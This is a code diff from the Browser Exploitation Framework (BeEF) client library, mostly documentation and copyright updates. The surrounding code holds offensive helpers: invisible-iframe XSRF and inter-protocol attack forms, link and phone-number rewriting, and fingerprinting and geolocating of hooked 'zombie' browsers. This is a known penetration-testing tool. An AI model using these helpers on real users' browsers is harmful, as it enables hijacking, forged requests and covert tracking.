-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
     },
 
     /**
@@ -936,7 +943,7 @@ beef.browser = {
      * @example: beef.browser.isFF99()
      */
     isFF99: function () {
-        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
+        return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
     },
 
     /**
@@ -997,10 +1004,13 @@ beef.browser = {
 
     /**
      * Returns true if Webkit based
-     *
-     * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
      */
+
+
     isWebKitBased: function () {
+        /*
+        * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
+        */
         return (!window.opera && !window.chrome
                 && window.navigator.userAgent.match(/ Version\/\d/) != null
                 && !window.globalStorage
@@ -2493,6 +2503,7 @@ beef.browser = {
     type: function () {
 
         return {
+            E: this.isEdge(), // Edge any version
             C5: this.isC5(), // Chrome 5
             C6: this.isC6(), // Chrome 6
             C7: this.isC7(), // Chrome 7
@@ -3914,12 +3925,12 @@ beef.browser = {
     getPlugins: function () {
 
         var results;
-        Array.prototype.unique = function () {
-            var o = {}, i, l = this.length, r = [];
-            for (i = 0; i < l; i += 1) o[this[i]] = this[i];
-            for (i in o) r.push(o[i]);
-            return r;
-        };
+
+        function unique(array) {
+          return $j.grep(array, function(el, index) {
+            return index === $j.inArray(el, array);
+          });
+        }
 
         // Things lacking navigator.plugins
         if (!navigator.plugins) 
@@ -3938,8 +3949,8 @@ beef.browser = {
                 // Sometimes store the version in description (Real, Adobe)
                 else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
             }
-            results = results.unique().toString();
-
+            results = unique(results).toString();
+            
             // All browsers that don't support navigator.plugins
         } else {
             results = new Array();
@@ -4579,17 +4590,19 @@ beef.browser = {
      *  This code is based on research from browserspy.dk
      *
      * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
-     * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
+     * @return {Object} A jQuery deferred object promise, which when resolved passes
      *    the number of connections to the callback function as "this"
-     *
-     *    example usage:
-     *        $j.when(getMaxConnections()).done(function(){
-     *            console.debug("Max Connections: " + this);
-     *            });
-     *
      */
-    getMaxConnections: function (scope) {
 
+
+
+    getMaxConnections: function (scope) {
+        /*
+        *    example usage:
+        *        $j.when(getMaxConnections()).done(function(){
+        *            console.debug("Max Connections: " + this);
+        *            }); 
+        */
         var imagesCount = 30;		// Max number of images to test
         var secondsTimeout = 5;		// Image load timeout threashold
         var testUrl = "";		// The image testing service URL

core/main/client/browser/cookie.js

@@ -1,19 +1,18 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.browser.cookie
- * 
+/**
  * Provides fuctions for working with cookies. 
  * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  * Original author unknown.
- * 
+ * @namespace beef.browser.cookie
  */
 beef.browser.cookie = {
 	
+		/** @memberof beef.browser.cookie */
 		setCookie: function (name, value, expires, path, domain, secure) 
 		{
 	
@@ -32,7 +31,7 @@ beef.browser.cookie = {
 				( ( domain ) ? ";domain=" + domain : "" ) +
 				( ( secure ) ? ";secure" : "" );
 		},
-
+		/** @memberof beef.browser.cookie */
 		getCookie: function(name) 
 		{
 			var a_all_cookies = document.cookie.split( ';' );
@@ -63,7 +62,7 @@ beef.browser.cookie = {
 				return null;
 			}
 		},
-
+		/** @memberof beef.browser.cookie */
 		deleteCookie: function (name, path, domain) 
 		{
 			if ( this.getCookie(name) ) document.cookie = name + "=" +
@@ -72,7 +71,7 @@ beef.browser.cookie = {
 			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
 		},
 
-	    /* Never stop the madness dear C. */
+	    /** @memberof beef.browser.cookie */
 		veganLol: function (){
 			var to_hell= '';
 			var min = 17;
@@ -99,7 +98,7 @@ beef.browser.cookie = {
 			}
 			return to_hell;
 		},
-		
+		/** @memberof beef.browser.cookie */
 		hasSessionCookies: function (name){
 			this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
 
@@ -108,7 +107,7 @@ beef.browser.cookie = {
 			return cookiesEnabled;
 			
 		},
-
+		/** @memberof beef.browser.cookie */
 		hasPersistentCookies: function (name){
 			this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
 

core/main/client/browser/popup.js

@@ -1,19 +1,17 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.browser.popup
- * 
+/**
  * Provides fuctions for working with cookies. 
  * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  * Original author unknown.
- * 
+ * @namespace beef.browser.popup
  */
 beef.browser.popup = {
-	
+		/** @memberof beef.browser.popup */
 		blocker_enabled: function ()
 		{
 			screenParams = beef.hardware.getScreenSize();

core/main/client/dom.js

@@ -1,20 +1,19 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.dom
- *
+/**
  * Provides functionality to manipulate the DOM.
+ * @namespace beef.dom
  */
 beef.dom = {
 	
 	/**
 	 * Generates a random ID for HTML elements
-	 * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
-	 * @return: generated id
+	 * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
+	 * @return {String} generated id
 	 */
 	generateID: function(prefix) {
 		return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
@@ -22,9 +21,9 @@ beef.dom = {
 		
 	/**
 	 * Creates a new element but does not append it to the DOM.
-	 * @param: {String} the name of the element.
-	 * @param: {Literal Object} the attributes of that element.
-	 * @return: the created element.
+	 * @param {String} type the name of the element.
+	 * @param {Array} attributes the attributes of that element.
+	 * @return {Array} the created element.
 	 */
 	createElement: function(type, attributes) {
 		var el = document.createElement(type);
@@ -40,7 +39,7 @@ beef.dom = {
 	
 	/**
 	 * Removes element from the DOM.
-	 * @param: {String or DOM Object} the target element to be removed.
+	 * @param {Object} el the target element to be removed.
 	 */
 	removeElement: function(el) {
 		if (!beef.dom.isDOMElement(el))
@@ -54,8 +53,8 @@ beef.dom = {
 	
 	/**
 	 * Tests if the object is a DOM element.
-	 * @param: {Object} the DOM element.
-	 * @return: true if the object is a DOM element.
+	 * @param {Object} the DOM element.
+	 * @return {boolean} true if the object is a DOM element.
 	 */
 	isDOMElement: function(obj) {
 		return (obj.nodeType) ? true : false;
@@ -63,7 +62,7 @@ beef.dom = {
 	
 	/**
 	 * Creates an invisible iframe on the hook browser's page.
-	 * @return: the iframe.
+	 * @return {array} the iframe.
 	 */
 	createInvisibleIframe: function() {
 		var iframe = this.createElement('iframe', {
@@ -79,10 +78,10 @@ beef.dom = {
 
 	/**
 	 * Returns the highest current z-index
-	 * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
-	 * @return: {Integer} Highest z-index in the DOM
+	 * @param {Boolean} whether to return an associative array with the height AND the ID of the element
+	 * @return {Integer} Highest z-index in the DOM
 	 * OR
-	 * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
+	 * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
 	 */
 	getHighestZindex: function(include_id) {
 		var highest = {'height':0, 'elem':''};
@@ -105,11 +104,11 @@ beef.dom = {
      * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
      * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
      * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
-	 * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
-	 * @param: {Hash} params: list of params that will be sent in request.
-	 * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
-	 * @param: {Function} a callback function to fire once the iFrame has loaded
-	 * @return: {Object} the inserted iFrame
+	 * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
+	 * @param {Hash} params: list of params that will be sent in request.
+	 * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
+	 * @param {Function} a callback function to fire once the iFrame has loaded
+	 * @return {Object} the inserted iFrame
      *
 	 */
 	createIframe: function(type, params, styles, onload) {
@@ -150,8 +149,8 @@ beef.dom = {
 
     /**
      * Load a full screen div that is black, or, transparent
-     * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
-     * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
+     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
+     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
      *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
      *           // By default this is 70 
      *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
@@ -219,9 +218,9 @@ beef.dom = {
 	
 	/**
      * Create a form element with the specified parameters, appending it to the DOM if append == true
-	 * @param: {Hash} params: params to be applied to the form element
-	 * @param: {Boolean} append: automatically append the form to the body
-	 * @return: {Object} a form object
+	 * @param {Hash} params: params to be applied to the form element
+	 * @param {Boolean} append: automatically append the form to the body
+	 * @return {Object} a form object
 	 */
 	createForm: function(params, append) {
 		var form = $j('<form></form>').attr(params);
@@ -239,7 +238,7 @@ beef.dom = {
 
 	/**
 	 * Get the location of the current page.
-	 * @return: the location.
+	 * @return the location.
 	 */
 	getLocation: function() {
 		return document.location.href;
@@ -247,7 +246,7 @@ beef.dom = {
 	
 	/**
 	 * Get links of the current page.
-	 * @return: array of URLs.
+	 * @return array of URLs.
 	 */
 	getLinks: function() {
 		var linksarray = [];
@@ -260,9 +259,9 @@ beef.dom = {
 	
 	/**
 	 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
-	 * @param: {String} url: the url to be rewritten
-	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
-	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
 	 */
 	rewriteLinks: function(url, selector) {
 		var sel = (selector == null) ? 'a' : selector;
@@ -277,9 +276,9 @@ beef.dom = {
 	/**
 	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
 	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
-	 * @param: {String} url: the url to be rewritten
-	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
-	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
 	 */
 	rewriteLinksClickEvents: function(url, selector) {
 		var sel = (selector == null) ? 'a' : selector;
@@ -293,10 +292,10 @@ beef.dom = {
 
 	/**
      * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
-	 * @param: {String} old_protocol: the old link protocol to be rewritten
-	 * @param: {String} new_protocol: the new link protocol to be written
-	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
-	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 * @param {String} old_protocol: the old link protocol to be rewritten
+	 * @param {String} new_protocol: the new link protocol to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
 	 */
 	rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
 
@@ -319,9 +318,9 @@ beef.dom = {
 
 	/**
 	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
-	 * @param: {String} new_number: the new link telephone number to be written
-	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
-	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 * @param {String} new_number: the new link telephone number to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
 	 */
 	rewriteTelLinks: function(new_number, selector) {
 
@@ -343,9 +342,9 @@ beef.dom = {
 	},
 
     /**
-     *  Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
-     * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
-     * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
+     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
+     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
+     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
      */
     parseAppletParams: function(params){
          var result = '';
@@ -364,11 +363,11 @@ beef.dom = {
      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
      * example usage in the code, using codebase:
      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
-     * @params: {String} id: reference identifier to the applet.
-     * @params: {String} code: name of the class to be loaded. For example, beef.class.
-     * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
-     * @params: {String} archive: the jar that contains the code.
-     * @params: {String} params: an array of additional params that the applet except.
+     * @param {String} id: reference identifier to the applet.
+     * @param {String} code: name of the class to be loaded. For example, beef.class.
+     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
+     * @param {String} archive: the jar that contains the code.
+     * @param {String} params: an array of additional params that the applet except.
      */
     attachApplet: function(id, name, code, codebase, archive, params) {
         var content = null;
@@ -432,7 +431,7 @@ beef.dom = {
 
     /**
      * Given an id, remove the applet from the DOM.
-     * @params: {String} id: reference identifier to the applet.
+     * @param {String} id: reference identifier to the applet.
      */
     detachApplet: function(id) {
         $j('#' + id + '').detach();
@@ -440,10 +439,10 @@ beef.dom = {
 
     /**
      * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
-     * @params: {String} action: the form action attribute, where the request will be sent.
-     * @params: {String} method: HTTP method, usually POST.
-     * @params: {String} enctype: form encoding type
-     * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
+     * @param {String} action: the form action attribute, where the request will be sent.
+     * @param {String} method: HTTP method, usually POST.
+     * @param {String} enctype: form encoding type
+     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
      *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
      */
     createIframeXsrfForm: function(action, method, enctype, inputs){
@@ -477,9 +476,9 @@ beef.dom = {
 
     /**
      * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
-     * @params: {String} rhost: remote host ip/domain
-     * @params: {String} rport: remote port
-     * @params: {String} commands: protocol commands to be executed by the remote host:port service
+     * @param {String} rhost: remote host ip/domain
+     * @param {String} rport: remote port
+     * @param {String} commands: protocol commands to be executed by the remote host:port service
      */
     createIframeIpecForm: function(rhost, rport, path, commands){
         var iframeIpec = beef.dom.createInvisibleIframe();

core/main/client/encode/base64.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -8,10 +8,18 @@
 
 beef.encode = {};
 
+/** 
+ * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
+ * @namespace beef.encode.base64 
+ */
 beef.encode.base64 = {
 	
 	keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
-
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
     encode : function (input) {
         if (window.btoa) {
            return btoa(unescape(encodeURIComponent(input)));
@@ -49,7 +57,11 @@ beef.encode.base64 = {
         return output;
     },
 
-
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
     decode : function (input) {
         if (window.atob) {
             return escape(atob(input));
@@ -90,8 +102,12 @@ beef.encode.base64 = {
 
     },
 
-
-   utf8_encode : function (string) {
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} string
+     * @return {string}
+     */
+    utf8_encode : function (string) {
         string = string.replace(/\r\n/g,"\n");
         var utftext = "";
 
@@ -116,7 +132,11 @@ beef.encode.base64 = {
 
         return utftext;
     },
-
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} utftext
+     * @return {string} 
+     */
     utf8_decode : function (utftext) {
         var string = "";
         var i = 0;

core/main/client/encode/json.js

@@ -1,13 +1,19 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
+/** 
+ * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
+ * @namespace beef.encode.json
+ */
 
 beef.encode.json = {
-	
+	/**
+     * @memberof beef.encode.json
+     * @param o 
+     */
 	stringify: function(o) {
         if (typeof(JSON) == 'object' && JSON.stringify) {
             // Error on stringifying cylcic structures caused polling to die
@@ -97,7 +103,10 @@ beef.encode.json = {
             return "{" + pairs.join(", ") + "}";
         }
     },
-
+    /**
+     * @memberof beef.encode.json
+     * @param string 
+     */
     quoteString: function(string) {
         if (string.match(this._escapeable))
         {

core/main/client/geolocation.js

@@ -1,25 +1,30 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
-/*!
- * @literal object: beef.geolocation
- *
+/**
  * Provides functionalities to use the geolocation API.
+ * @namespace beef.geolocation
  */
+
 beef.geolocation = {
 
     /**
-     * check if browser supports the geolocation API
+     * Check if browser supports the geolocation API
+     * @return {boolean}
      */
     isGeolocationEnabled: function(){
 		return !!navigator.geolocation;
     },
 
-    /*
-     * given latitude/longitude retrieves exact street position of the zombie
+    /** 
+     * Given latitude/longitude retrieves exact street position of the zombie
+     * @param command_url
+     * @param command_id
+     * @param latitude
+     * @param longitude
      */
     getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
 
@@ -40,23 +45,26 @@ beef.geolocation = {
                 },
             success: function(data, status, xhr){
                 beef.debug("[geolocation.js] openstreetmap success");
-                var jsonResp = $j.parseJSON(data);
+                //var jsonResp = $j.parseJSON(data);
 
                 beef.net.send(command_url, command_id, "latitude=" + latitude
                              + "&longitude=" + longitude
 //                             + "&osm=" + encodeURI(jsonResp.display_name)
-                              + "&osm=tofix"
+                              + "&osm=" + data.display_name
                              + "&geoLocEnabled=True");
                 },
             type: "get",
-            url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
+	    dataType: "json",
+            url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
                 latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
         });
 
     },
 
-    /*
-     * retrieve latitude/longitude using the geolocation API
+    /**
+     * Retrieve latitude/longitude using the geolocation API
+     * @param command_url
+     * @param command_id
      */
     getGeolocation: function (command_url, command_id){
 

core/main/client/hardware.js

@@ -1,16 +1,20 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
+/**
+ * @namespace beef.hardware
+ */
+
 beef.hardware = {
 
   ua: navigator.userAgent,
 
-  /*
-   * @return: {String} CPU type
-   **/
+  /**
+   * @return {String} CPU type
+   */
   getCpuArch: function() {
     var arch = 'UNKNOWN';
     // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
@@ -39,7 +43,8 @@ beef.hardware = {
 
   /**
    * Returns number of CPU cores
-   **/
+   * @return {String}
+   */
   getCpuCores: function() {
     var cores = 'unknown';
     try {
@@ -54,7 +59,8 @@ beef.hardware = {
 
   /**
    * Returns CPU details
-   **/
+   * @return {String}
+   */
   getCpuDetails: function() {
     return {
       arch: beef.hardware.getCpuArch(),
@@ -64,7 +70,8 @@ beef.hardware = {
 
   /**
    * Returns GPU details
-   **/
+   * @return {object}
+   */
   getGpuDetails: function() {
     var gpu = 'unknown';
     var vendor = 'unknown';
@@ -98,7 +105,8 @@ beef.hardware = {
 
   /**
    * Returns RAM (GiB)
-   **/
+   * @return {String}
+   */
   getMemory: function() {
     var memory = 'unknown';
     try {
@@ -113,7 +121,8 @@ beef.hardware = {
 
   /**
    * Returns battery details
-   **/
+   * @return {Object}
+   */
   getBatteryDetails: function() {
     var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
 
@@ -136,6 +145,7 @@ beef.hardware = {
 
   /**
    * Returns zombie screen size and color depth.
+   * @return {Object}
    */
   getScreenSize: function () {
     return {
@@ -145,17 +155,19 @@ beef.hardware = {
     }
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is touch enabled?
+   * @return {Boolean} true or false.
+   */
   isTouchEnabled: function() {
     if ('ontouchstart' in document) return true;
     return false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is virtual machine?
+   * @return {Boolean} true or false.
+   */
   isVirtualMachine: function() {
     if (this.getGpuDetails().vendor.match('VMware, Inc'))
       return true;
@@ -171,9 +183,10 @@ beef.hardware = {
     return false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is a Laptop?
+   * @return {Boolean} true or false.
+   */
   isLaptop: function() {
     if (this.isMobileDevice()) return false;
     // Most common laptop screen resolution
@@ -183,64 +196,70 @@ beef.hardware = {
     return false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is Nokia?
+   * @return {Boolean} true or false.
+   */
   isNokia: function() {
     return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is Zune?
+   * @return {Boolean} true or false.
+   */
   isZune: function() {
     return (this.ua.match('ZuneWP7')) ? true : false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is HTC?
+   * @return {Boolean} true or false.
+   */
   isHtc: function() {
     return (this.ua.match('HTC')) ? true : false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is Ericsson?
+   * @return {Boolean} true or false.
+   */
   isEricsson: function() {
     return (this.ua.match('Ericsson')) ? true : false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is Motorola?
+   * @return {Boolean} true or false.
+   */
   isMotorola: function() {
     return (this.ua.match('Motorola')) ? true : false;
   },
 
-  /*
-   * @return: {Boolean} true or false.
-   **/
+  /**
+   * Is Google?
+   * @return {Boolean} true or false.
+   */
   isGoogle: function() {
     return (this.ua.match('Nexus One')) ? true : false;
   },
 
   /**
    * Returns true if the browser is on a Mobile device
-   * @return: {Boolean} true or false
+   * @return {Boolean} true or false
    *
    * @example: if(beef.hardware.isMobileDevice()) { ... }
-   **/
+   */
   isMobileDevice: function() {
     return MobileEsp.DetectMobileQuick();
   },
 
   /**
    * Returns true if the browser is on a game console
-   * @return: {Boolean} true or false
+   * @return {Boolean} true or false
    *
    * @example: if(beef.hardware.isGameConsole()) { ... }
-   **/
+   */
   isGameConsole: function() {
     return MobileEsp.DetectGameConsole();
   },

core/main/client/init.js

@@ -1,17 +1,18 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
 /**
- * @literal object: beef.init
  * Contains the beef_init() method which starts the BeEF client-side
  * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  *
  * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  * and will have a new session id. The new session id will need to know
  * the brwoser details. So sendback the browser details again.
+ * 
+ * @namespace beef.init
  */
 
 beef.session.get_hook_session_id();
@@ -19,11 +20,15 @@ beef.session.get_hook_session_id();
 if (beef.pageIsLoaded) {
     beef.net.browser_details();
 }
-
+/**
+ * @memberof beef.init
+ */
 window.onload = function () {
     beef_init();
 };
-
+/**
+ * @memberof beef.init
+ */
 window.onpopstate = function (event) {
     if (beef.onpopstate.length > 0) {
         event.preventDefault;
@@ -38,7 +43,9 @@ window.onpopstate = function (event) {
         }
     }
 };
-
+/**
+ * @memberof beef.init
+ */
 window.onclose = function (event) {
     if (beef.onclose.length > 0) {
         event.preventDefault;
@@ -60,6 +67,7 @@ window.onclose = function (event) {
  *  - the polling starts (checks for new commands, and execute them)
  *  - the logger component is initialized (see logger.js)
  *  - the Autorun Engine is initialized (see are.js)
+ * @memberof beef.init
  */
 function beef_init() {
     if (!beef.pageIsLoaded) {

core/main/client/lib/browser_jools.js

@@ -1,3 +1,12 @@
+/**
+ * @namespace browser_jools
+ */
+
+/**
+ * @memberof browser_jools
+ * @param file 
+ * @param cwd 
+ */
 var require = function (file, cwd) {
     var resolved = require.resolve(file, cwd || '/');
     var mod = require.modules[resolved];
@@ -19,7 +28,9 @@ require._core = {
     'path': true,
     'vm': true
 };
-
+/**
+ * @memberof browser_jools
+ */
 require.resolve = (function () {
     return function (x, cwd) {
         if (!cwd) cwd = '/';
@@ -104,7 +115,9 @@ require.resolve = (function () {
         }
     };
 })();
-
+/**
+ * @memberof browser_jools
+ */
 require.alias = function (from, to) {
     var path = require.modules.path();
     var res = null;
@@ -133,7 +146,9 @@ require.alias = function (from, to) {
         }
     }
 };
-
+/**
+ * @memberof browser_jools
+ */
 require.define = function (filename, fn) {
     var dirname = require._core[filename]
         ? ''
@@ -215,10 +230,15 @@ function filter (xs, fn) {
     return res;
 }
 
-// resolves . and .. elements in a path array with directory names there
-// must be no slashes, empty elements, or device names (c:\) in the array
-// (so also no leading and trailing slashes - it does not distinguish
-// relative and absolute paths)
+/**
+ * resolves . and .. elements in a path array with directory names there
+ * must be no slashes, empty elements, or device names (c:\) in the array
+ * (so also no leading and trailing slashes - it does not distinguish
+ * relative and absolute paths)
+ * @memberof browser_jools
+ * @param parts 
+ * @param allowAboveRoot 
+ */
 function normalizeArray(parts, allowAboveRoot) {
   // if the path tries to go above the root, `up` ends up > 0
   var up = 0;
@@ -357,6 +377,7 @@ var utils = require('./utils')
 
 /**
  * version
+ * @memberof browser_jools
  */
 exports.version = '0.0.1';
 
@@ -367,7 +388,7 @@ exports.version = '0.0.1';
  *   - Descriptive name
  *   - One or more conditions
  *   - One or more consequences, which are fired when all conditions evaluate to true.
- *
+ * @memberof browser_jools
  * @param {Object} rules
  */
 function Jools(rules) {
@@ -426,7 +447,7 @@ module.exports = Jools;
 require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
 /**
  * Returns an array of parameter names of the function f
- *
+ * @memberof browser_jools
  * @param {Function} f
  */
 module.exports.paramNames = function (f) {
@@ -443,7 +464,7 @@ module.exports.paramNames = function (f) {
 
 /**
  * Creates an array of arguments
- *
+ * @memberof browser_jools
  * @param {Object} obj
  * @param {Array} params
  */

core/main/client/lib/evercookie.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //

core/main/client/lib/platform.js

